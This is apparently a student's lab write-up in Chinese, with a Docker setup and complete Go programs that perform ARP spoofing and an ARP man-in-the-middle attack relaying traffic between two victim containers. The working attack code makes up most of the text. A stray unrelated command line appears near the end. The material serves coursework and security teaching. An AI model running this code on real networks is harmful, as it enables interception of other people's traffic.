半夜发现还有个作业没写, 课件好像是用c写的, 这里直接用go实现了

apt install iproute2
apt install net-tools
apt install inetutils-ping

先配置好docker

services:
  attacker:
    build: .
    networks:
      testnet:
        ipv4_address: 172.20.0.66
    cap_add:
      - NET_RAW
      - NET_ADMIN
    tty: true

  victim1:
    image: ubuntu:latest
    networks:
      testnet:
        ipv4_address: 172.20.0.101
    tty: true

  victim2:
    image: ubuntu:latest
    networks:
      testnet:
        ipv4_address: 172.20.0.102
    tty: true

networks:
  testnet:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/24

实验一 arp欺骗

package main

import (
	"flag"
	"fmt"
	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
	"log"
	"net"
	"os"
	"time"
)

func getLocalInfo(ifaceName string) (net.HardwareAddr, net.IP, error) {
	iface, err := net.InterfaceByName(ifaceName)
	if err != nil {
		return nil, nil, err
	}
	addrs, err := iface.Addrs()
	if err != nil {
		return nil, nil, err
	}
	for _, addr := range addrs {
		if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
			return iface.HardwareAddr, ipnet.IP, nil
		}
	}
	return nil, nil, fmt.Errorf("未找到有效 IPv4 地址")
}

// 发送 ARP 回复欺骗包
func sendARPReply(ifaceName string, attackerMAC net.HardwareAddr, spoofedIP net.IP, victimIP net.IP, victimMAC net.HardwareAddr) {
	handle, err := pcap.OpenLive(ifaceName, 65536, true, pcap.BlockForever)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	for {
		e := layers.Ethernet{
			SrcMAC:       attackerMAC,
			DstMAC:       victimMAC,
			EthernetType: layers.EthernetTypeARP,
		}
		a := layers.ARP{
			AddrType:          layers.LinkTypeEthernet,
			Protocol:          layers.EthernetTypeIPv4,
			HwAddressSize:     6,
			ProtAddressSize:   4,
			Operation:         layers.ARPReply,
			SourceHwAddress:   []byte(attackerMAC),
			SourceProtAddress: spoofedIP.To4(),
			DstHwAddress:      []byte(victimMAC),
			DstProtAddress:    victimIP.To4(),
		}

		log.Println(spoofedIP.To4())
		log.Println(victimIP.To4())

		buf := gopacket.NewSerializeBuffer()
		opts := gopacket.SerializeOptions{}
		gopacket.SerializeLayers(buf, opts, &e, &a)

		err := handle.WritePacketData(buf.Bytes())
		if err != nil {
			log.Println("发送失败:", err)
		} else {
			log.Println("已发送 ARP 欺骗包")
		}

		time.Sleep(2 * time.Second)
	}
}

func main() {
	iface := flag.String("i", "eth0", "网卡名")
	spoofIP := flag.String("s", "192.168.1.1", "伪造的源 IP")
	victimIP := flag.String("v", "192.168.1.101", "目标主机 IP")
	victimMAC := flag.String("m", "", "目标主机 MAC 地址")
	flag.Parse()

	if *victimMAC == "" {
		fmt.Println("必须提供目标主机 MAC 地址(-m)")
		os.Exit(1)
	}

	mac, ip, err := getLocalInfo(*iface)
	if err != nil {
		log.Fatal("无法获取本机信息:", err)
	}
	fmt.Printf("本机 MAC: %s, IP: %s\n", mac, ip)

	targetMAC, err := net.ParseMAC(*victimMAC)
	if err != nil {
		log.Fatal("目标 MAC 地址格式错误")
	}

	sendARPReply(*iface, mac, net.ParseIP(*spoofIP), net.ParseIP(*victimIP), targetMAC)
}

网关IP 172.20.0.1 网关MAC 02:42:60:c2:7d:01

Victim1 运行后

实验二 ARP中间人攻击

package main

import (
	"context"
	"flag"
	"fmt"
	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
	"log"
	"net"
	"os/exec"
	"strings"
	"time"
)

// 获取本机网卡的第一个非回环 IPv4 地址和 MAC
func getLocalInfo(ifaceName string) (net.HardwareAddr, net.IP, error) {
	iface, err := net.InterfaceByName(ifaceName)
	if err != nil {
		return nil, nil, err
	}
	addrs, err := iface.Addrs()
	if err != nil {
		return nil, nil, err
	}
	for _, addr := range addrs {
		if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
			return iface.HardwareAddr, ipnet.IP, nil
		}
	}
	return nil, nil, fmt.Errorf("未找到有效 IPv4 地址")
}
func getMACFromARP(ip string) (net.HardwareAddr, error) {
	out, err := exec.Command("arp", "-n", ip).Output()
	if err != nil {
		return nil, err
	}
	fields := strings.Fields(string(out))
	for _, field := range fields {
		if strings.Count(field, ":") == 5 {
			return net.ParseMAC(field)
		}
	}
	return nil, fmt.Errorf("未找到 MAC 地址: %s", ip)
}

func resolveMAC(handle *pcap.Handle, iface string, srcMAC net.HardwareAddr, srcIP, dstIP net.IP) (net.HardwareAddr, error) {
	ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
	defer cancel()
	_ = exec.CommandContext(ctx, "ping", "-c", "1", dstIP.String()).Run()
	
	ether := layers.Ethernet{
		SrcMAC:       srcMAC,
		DstMAC:       net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
		EthernetType: layers.EthernetTypeARP,
	}
	arp := layers.ARP{
		AddrType:          layers.LinkTypeEthernet,
		Protocol:          layers.EthernetTypeIPv4,
		HwAddressSize:     6,
		ProtAddressSize:   4,
		Operation:         layers.ARPRequest,
		SourceHwAddress:   []byte(srcMAC),
		SourceProtAddress: srcIP.To4(),
		DstHwAddress:      []byte{0, 0, 0, 0, 0, 0},
		DstProtAddress:    dstIP.To4(),
	}
	buf := gopacket.NewSerializeBuffer()
	gopacket.SerializeLayers(buf, gopacket.SerializeOptions{}, &ether, &arp)
	err := handle.WritePacketData(buf.Bytes())
	if err != nil {
		return nil, err
	}
	
	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	timeout := time.After(3 * time.Second)
	for {
		select {
		case packet := <-packetSource.Packets():
			if a := packet.Layer(layers.LayerTypeARP); a != nil {
				arpLayer, _ := a.(*layers.ARP)
				if net.IP(arpLayer.SourceProtAddress).Equal(dstIP) {
					return net.HardwareAddr(arpLayer.SourceHwAddress), nil
				}
			}
		case <-timeout:
			log.Printf("[!] ARP 响应超时,尝试从系统缓存获取 %s 的 MAC...", dstIP)
			return getMACFromARP(dstIP.String())
		}
	}
}

func sendARPReply(handle *pcap.Handle, attackerMAC net.HardwareAddr, spoofedIP net.IP, targetIP net.IP, targetMAC net.HardwareAddr) {
	e := layers.Ethernet{
		SrcMAC:       attackerMAC,
		DstMAC:       targetMAC,
		EthernetType: layers.EthernetTypeARP,
	}
	a := layers.ARP{
		AddrType:          layers.LinkTypeEthernet,
		Protocol:          layers.EthernetTypeIPv4,
		HwAddressSize:     6,
		ProtAddressSize:   4,
		Operation:         layers.ARPReply,
		SourceHwAddress:   []byte(attackerMAC),
		SourceProtAddress: spoofedIP.To4(),
		DstHwAddress:      []byte(targetMAC),
		DstProtAddress:    targetIP.To4(),
	}
	buf := gopacket.NewSerializeBuffer()
	opts := gopacket.SerializeOptions{}
	gopacket.SerializeLayers(buf, opts, &e, &a)

	err := handle.WritePacketData(buf.Bytes())
	if err != nil {
		log.Println("发送失败:", err)
	} else {
		log.Printf("[ARP] 假冒 %s -> 发送给 %s 成功", spoofedIP, targetIP)
	}
}

func main() {
	iface := flag.String("i", "eth0", "网卡名")
	victim1IP := flag.String("v1", "172.20.0.101", "受害者1 IP")
	victim2IP := flag.String("v2", "172.20.0.102", "受害者2 IP")
	flag.Parse()

	attackerMAC, attackerIP, err := getLocalInfo(*iface)
	if err != nil {
		log.Fatal("获取本机信息失败:", err)
	}
	fmt.Printf("[本机信息] IP: %s, MAC: %s\n", attackerIP, attackerMAC)

	handle, err := pcap.OpenLive(*iface, 65536, true, pcap.BlockForever)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	t1IP := net.ParseIP(*victim1IP)
	t2IP := net.ParseIP(*victim2IP)

	t1MAC, err := resolveMAC(handle, *iface, attackerMAC, attackerIP, t1IP)
	if err != nil {
		log.Fatalf("无法解析 victim1 MAC: %v", err)
	}
	t2MAC, err := resolveMAC(handle, *iface, attackerMAC, attackerIP, t2IP)
	if err != nil {
		log.Fatalf("无法解析 victim2 MAC: %v", err)
	}

	for {
		sendARPReply(handle, attackerMAC, t2IP, t1IP, t1MAC)
		sendARPReply(handle, attackerMAC, t1IP, t2IP, t2MAC)
		time.Sleep(2 * time.Second)
	}
}

运行结果如下

接下来就能实现接收双方通信内容并转发

func relayPacket(handle *pcap.Handle, packet gopacket.Packet, dstMAC net.HardwareAddr, srcMAC net.HardwareAddr) {
	ethLayer := packet.Layer(layers.LayerTypeEthernet)
	if ethLayer == nil {
		return
	}
	eth := ethLayer.(*layers.Ethernet)


	eth.DstMAC = dstMAC
	eth.SrcMAC = srcMAC

	buf := gopacket.NewSerializeBuffer()
	err := gopacket.SerializePacket(buf, gopacket.SerializeOptions{}, packet)
	if err != nil {
		log.Println("序列化失败:", err)
		return
	}

	err = handle.WritePacketData(buf.Bytes())
	if err != nil {
		log.Println("重发失败:", err)
	}
}

在main里调协程

go func() {
	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range packetSource.Packets() {
		ethLayer := packet.Layer(layers.LayerTypeEthernet)
		if ethLayer == nil {
			continue
		}
		eth := ethLayer.(*layers.Ethernet)

		// victim1 -> victim2
		if eth.SrcMAC.String() == t1MAC.String() && eth.DstMAC.String() == attackerMAC.String() {
			relayPacket(handle, packet, t2MAC, attackerMAC)
		}

		// victim2 -> victim1
		if eth.SrcMAC.String() == t2MAC.String() && eth.DstMAC.String() == attackerMAC.String() {
			relayPacket(handle, packet, t1MAC, attackerMAC)
		}
	}
}()
xdg-user-dirs-update

结果如下, 成功转发